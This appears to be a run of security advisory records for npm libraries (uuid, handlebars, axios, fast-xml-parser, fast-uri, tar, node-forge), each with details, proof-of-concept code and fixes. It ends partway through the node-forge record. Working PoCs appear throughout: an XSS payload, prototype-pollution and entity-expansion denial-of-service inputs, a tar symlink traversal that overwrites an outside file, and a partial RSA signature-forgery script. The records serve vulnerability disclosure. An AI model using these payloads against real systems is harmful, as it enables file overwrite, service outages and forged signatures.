  "details": "### Summary\n\nThe `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`).  \nBy contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.\n\nThis inconsistency allows **silent partial writes** into caller-provided buffers.\n\n\n### Affected code\n\n- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.\n- `src/v6.ts` writes `buf[offset + i]` without bounds validation.\n\n### Reproducible PoC\n\n```bash\ncd /home/StrawHat/uuid\nnpm ci\nnpm run build\n\nnode --input-type=module -e \"\nimport {v4,v5,v6} from \u0027./dist-node/index.js\u0027;\nconst ns=\u00276ba7b810-9dad-11d1-80b4-00c04fd430c8\u0027;\nfor (const [name,fn] of [\n  [\u0027v4()\u0027,()=\u003ev4({},new Uint8Array(8),4)],\n  [\u0027v5()\u0027,()=\u003ev5(\u0027x\u0027,ns,new Uint8Array(8),4)],\n  [\u0027v6()\u0027,()=\u003ev6({},new Uint8Array(8),4)],\n]) {\n  try { fn(); console.log(name,\u0027NO_THROW\u0027); }\n  catch(e){ console.log(name,\u0027THREW\u0027,e.name); }\n}\"\n```\n\nObserved:\n\n- `v4() THREW RangeError`\n- `v5() NO_THROW`\n- `v6() NO_THROW`\n\nExample partial overwrite evidence captured during audit:\n\n```text\nsame true buf [\n  170, 170, 170, 170,\n   75, 224, 100,  63\n]\nv6 [\n  187, 187, 187, 187,\n   31,  19, 185,  64\n]\n```\n\n### Security impact\n\n- **Primary**: integrity/robustness issue (silent partial output).\n- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.\n- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.\n\n### Suggested fix\n\nAdd the same guard used by `v4()`/`v1()`/`v7()`:\n\n```ts\nif (offset \u003c 0 || offset + 16 \u003e buf.length) {\n  throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);\n}\n```\n\nApply to:\n\n- `src/v35.ts` (covers `v3()` and `v5()`)\n- `src/v6.ts`",
  "id": "GHSA-w5hq-g745-h8pq",
  "modified": "2026-05-21T18:25:56Z",
  "published": "2026-04-22T20:53:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41907"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uuidjs/uuid"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uuidjs/uuid/releases/tag/v11.1.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uuidjs/uuid/releases/tag/v12.0.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uuidjs/uuid/releases/tag/v13.0.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uuidjs/uuid/releases/tag/v14.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:20:51Z",
    "nvd_published_at": "2026-03-27T21:17:27Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n   any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = \u0027\u003cimg src=x onerror=\"alert(document.domain)\"\u003e\u0027;\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile(\u0027\u003cdiv\u003eWelcome! {{\u003e widget}}\u003c/div\u003e\u0027);\n\n// Step 3: Render \u2014 XSS payload injected unescaped\nconst output = template({});\n// Output: \u003cdiv\u003eWelcome! \u003cimg src=x onerror=\"alert(document.domain)\"\u003e\u003c/div\u003e\n```\n\n\u003e The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype  pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates  and reduces the attack surface.",
  "id": "GHSA-2qvq-rjwj-gvw9",
  "modified": "2026-03-27T21:52:02Z",
  "published": "2026-03-26T22:20:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23369"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23383"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33916"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.13.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.13.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.30.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.30.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25639"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T17:46:14Z",
    "nvd_published_at": "2026-02-09T21:15:49Z",
    "severity": "HIGH"
  },
  "details": "# Denial of Service via **proto** Key in mergeConfig\n\n### Summary\n\nThe `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.\n\n### Details\n\nThe vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:\n\n```javascript\nutils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {\n  const merge = mergeMap[prop] || mergeDeepProperties;\n  const configValue = merge(config1[prop], config2[prop], prop);\n  (utils.isUndefined(configValue) \u0026\u0026 merge !== mergeDirectKeys) || (config[prop] = configValue);\n});\n```\n\nWhen `prop` is `\u0027__proto__\u0027`:\n\n1. `JSON.parse(\u0027{\"__proto__\": {...}}\u0027)` creates an object with `__proto__` as an own enumerable property\n2. `Object.keys()` includes `\u0027__proto__\u0027` in the iteration\n3. `mergeMap[\u0027__proto__\u0027]` performs prototype chain lookup, returning `Object.prototype` (truthy object)\n4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`\n5. `Object.prototype(...)` throws `TypeError: merge is not a function`\n\nThe `mergeConfig` function is called by:\n\n- `Axios._request()` at `lib/core/Axios.js:75`\n- `Axios.getUri()` at `lib/core/Axios.js:201`\n- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`\n\n### PoC\n\n```javascript\nimport axios from \"axios\";\n\nconst maliciousConfig = JSON.parse(\u0027{\"__proto__\": {\"x\": 1}}\u0027);\nawait axios.get(\"https://httpbin.org/get\", maliciousConfig);\n```\n\n**Reproduction steps:**\n\n1. Clone axios repository or `npm install axios`\n2. Create file `poc.mjs` with the code above\n3. Run: `node poc.mjs`\n4. Observe the TypeError crash\n\n**Verified output (axios 1.13.4):**\n\n```\nTypeError: merge is not a function\n    at computeConfigValue (lib/core/mergeConfig.js:100:25)\n    at Object.forEach (lib/utils.js:280:10)\n    at mergeConfig (lib/core/mergeConfig.js:98:9)\n```\n\n**Control tests performed:**\n| Test | Config | Result |\n|------|--------|--------|\n| Normal config | `{\"timeout\": 5000}` | SUCCESS |\n| Malicious config | `JSON.parse(\u0027{\"__proto__\": {\"x\": 1}}\u0027)` | **CRASH** |\n| Nested object | `{\"headers\": {\"X-Test\": \"value\"}}` | SUCCESS |\n\n**Attack scenario:**\nAn application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{\"__proto__\": {\"x\": 1}}`.\n\n### Impact\n\n**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.\n\nAffected environments:\n\n- Node.js servers using axios for HTTP requests\n- Any backend that passes parsed JSON to axios configuration\n\nThis is NOT prototype pollution - the application crashes before any assignment occurs.",
  "id": "GHSA-43fc-jf86-j433",
  "modified": "2026-05-08T13:46:54Z",
  "published": "2026-02-09T17:46:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25639"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7369"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7388"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.30.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.13.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.3"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26278"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T21:30:10Z",
    "nvd_published_at": "2026-02-19T20:25:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it\u2019s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.\n\n### Details\nThere is a check in `DocTypeReader.js` that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for \u0026 inside entity values). This does stop classic \u201cBillion Laughs\u201d payloads.\n\nHowever, it doesn\u2019t stop a much simpler variant.\n\nIf you define one large entity that contains only raw text (no \u0026 characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.\n\nThe problem is in `replaceEntitiesValue()` inside `OrderedObjParser.js`. It repeatedly runs `val.replace()` in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.\n\nRelevant code:\n\n`DocTypeReader.js` (lines 28\u201333): entity registration only checks for \u0026\n\n`OrderedObjParser.js` (lines 439\u2013458): entity replacement loop with no limits\n\n### PoC\n\n```js\nconst { XMLParser } = require(\u0027fast-xml-parser\u0027);\n\nconst entity = \u0027A\u0027.repeat(1000);\nconst refs = \u0027\u0026big;\u0027.repeat(100);\nconst xml = `\u003c!DOCTYPE foo [\u003c!ENTITY big \"${entity}\"\u003e]\u003e\u003croot\u003e${refs}\u003c/root\u003e`;\n\nconsole.time(\u0027parse\u0027);\nnew XMLParser().parse(xml); // ~4\u20138 seconds for ~1.3 KB of XML\nconsole.timeEnd(\u0027parse\u0027);\n\n// 5,000 chars \u00d7 100 refs takes 200+ seconds\n// 50,000 chars \u00d7 1,000 refs will hang indefinitely\n```\n\n### Impact\nThis is a straightforward denial-of-service issue.\n\nAny service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can\u2019t handle any other requests.\n\nIn testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.\n\n### Workaround\n\nAvoid using DOCTYPE parsing by `processEntities: false` option.",
  "id": "GHSA-jmr7-xgp7-cmfj",
  "modified": "2026-02-27T16:50:38Z",
  "published": "2026-02-17T21:30:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jmr7-xgp7-cmfj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26278"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/910dae5be2de2955e968558fadf6e8f74f117a77"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser affected by DoS through entity expansion in DOCTYPE (no expansion limit)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-6321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T17:15:09Z",
    "nvd_published_at": "2026-05-04T20:16:20Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\n`fast-uri` v3.1.0 and earlier decodes percent-encoded path separators (`%2F`) and dot segments (`%2E`) before applying dot-segment removal in `normalize()` and `equal()`. This makes encoded path data behave like real `/` and `..`, so distinct URIs collapse onto the same normalized path.\n\nFor example, `http://example.com/public/%2e%2e/admin` normalizes to `http://example.com/admin`, and `equal()` considers them the same URI.\n\nApplications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed. A path that looks confined under an allowed prefix can normalize to a different location.\n\n### Patches\n\nUpgrade to `fast-uri` \u003e= 3.1.1.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
  "id": "GHSA-q3j6-qgpj-74h6",
  "modified": "2026-05-08T17:15:09Z",
  "published": "2026-05-08T17:15:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6321"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fast-uri"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-uri vulnerable to path traversal via percent-encoded dot segments"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.10"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T23:44:58Z",
    "nvd_published_at": "2026-03-10T07:44:58Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, \u0027..\u0027, \u0027target.txt\u0027)\nconst tarFile = path.join(cwd, \u0027poc.tar\u0027)\n\nfs.writeFileSync(target, \u0027ORIGINAL\\n\u0027)\n\nconst b = Buffer.alloc(1536)\nnew Header({\n  path: \u0027a/b/l\u0027,\n  type: \u0027SymbolicLink\u0027,\n  linkpath: \u0027C:../../../target.txt\u0027,\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n  fs.writeFileSync(path.join(cwd, \u0027a/b/l\u0027), \u0027PWNED\\n\u0027)\n  process.stdout.write(fs.readFileSync(target, \u0027utf8\u0027))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs \u0026\u0026 readlink a/b/l \u0026\u0026 ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr  7 Mar 18:37 \udb82\udc6f a/b/l -\u003e ../../../target.txt\n.rw-r--r-- 6 joshuavr  7 Mar 18:37 \uf15c ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
  "id": "GHSA-9ppj-qmqm-q256",
  "modified": "2026-03-10T23:44:58Z",
  "published": "2026-03-10T23:44:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-tar Symlink Path Traversal via Drive-Relative Linkpath"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:02:35Z",
    "nvd_published_at": "2026-03-27T21:17:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing \u201cgarbage\u201d bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS \u003c 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n  - forge verify (`_parseAllDigestBytes: true`), and\n  - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n  - `control-forge-strict: true`\n  - `control-node: true`\n  - `forgery (forge library, strict): true`\n  - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n\u003cdetails\u003e\u003csummary\u003erepro_min.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge/lib/index\u0027);\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n//   SEQUENCE { OID sha256, NULL },\n//   OCTET STRING \u003c32-byte digest\u003e\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n  \u0027300d060960864801650304020105000420\u0027,\n  \u0027hex\u0027\n);\n\nconst toBig = b =\u003e BigInt(\u00270x\u0027 + (b.toString(\u0027hex\u0027) || \u00270\u0027));\nfunction toBuf(n, len) {\n  let h = n.toString(16);\n  if (h.length % 2) h = \u00270\u0027 + h;\n  const b = Buffer.from(h, \u0027hex\u0027);\n  return b.length \u003c len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n  let lo = 0n;\n  let hi = 1n;\n  while (hi * hi * hi \u003c= n) hi \u003c\u003c= 1n;\n  while (lo + 1n \u003c hi) {\n    const mid = (lo + hi) \u003e\u003e 1n;\n    if (mid * mid * mid \u003c= n) lo = mid;\n    else hi = mid;\n  }\n  return lo;\n}\nconst cbrtCeil = n =\u003e {\n  const f = cbrtFloor(n);\n  return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n  if (len \u003c 0x80) return Buffer.from([len]);\n  if (len \u003c= 0xff) return Buffer.from([0x81, len]);\n  return Buffer.from([0x82, (len \u003e\u003e 8) \u0026 0xff, len \u0026 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n  const key = forge.pki.publicKeyFromPem(publicPem);\n  const md = forge.md.sha256.create();\n  md.update(msg.toString(\u0027utf8\u0027), \u0027utf8\u0027);\n  try {\n    // verify(digestBytes, signatureBytes, scheme, options):\n    // - digestBytes: raw SHA-256 digest bytes for `msg`\n    // - signatureBytes: binary-string representation of the candidate signature\n    // - scheme: undefined =\u003e default RSASSA-PKCS1-v1_5\n    // - options._parseAllDigestBytes: require DER parser to consume all bytes\n    //   (this is forge\u0027s default for verify; set explicitly here for clarity)\n    return { ok: key.verify(md.digest().getBytes(), sig.toString(\u0027binary\u0027), undefined, { _parseAllDigestBytes: true }) };\n  } catch (err) {\n    return { ok: false, err: err.message };\n  }\n}\n\nfunction main() {\n  const { privateKey, publicKey } = crypto.generateKeyPairSync(\u0027rsa\u0027, {\n    modulusLength: 4096,\n    publicExponent: 3,\n    privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n    publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 }\n  });\n\n  const jwk = crypto.createPublicKey(publicKey).export({ format: \u0027jwk\u0027 });\n  const nBytes = Buffer.from(jwk.n, \u0027base64url\u0027);\n  const n = toBig(nBytes);\n  const e = toBig(Buffer.from(jwk.e, \u0027base64url\u0027));\n  if (e !== 3n) throw new Error(\u0027expected e=3\u0027);\n\n  const msg = Buffer.from(\u0027forged-message-0\u0027, \u0027utf8\u0027);\n  const digest = crypto.createHash(\u0027sha256\u0027).update(msg).digest();\n  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n  const k = nBytes.length;\n  // ffCount can be set to any value at or below 111 and produce a valid signature.\n  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n  // However, current versions of node forge do not 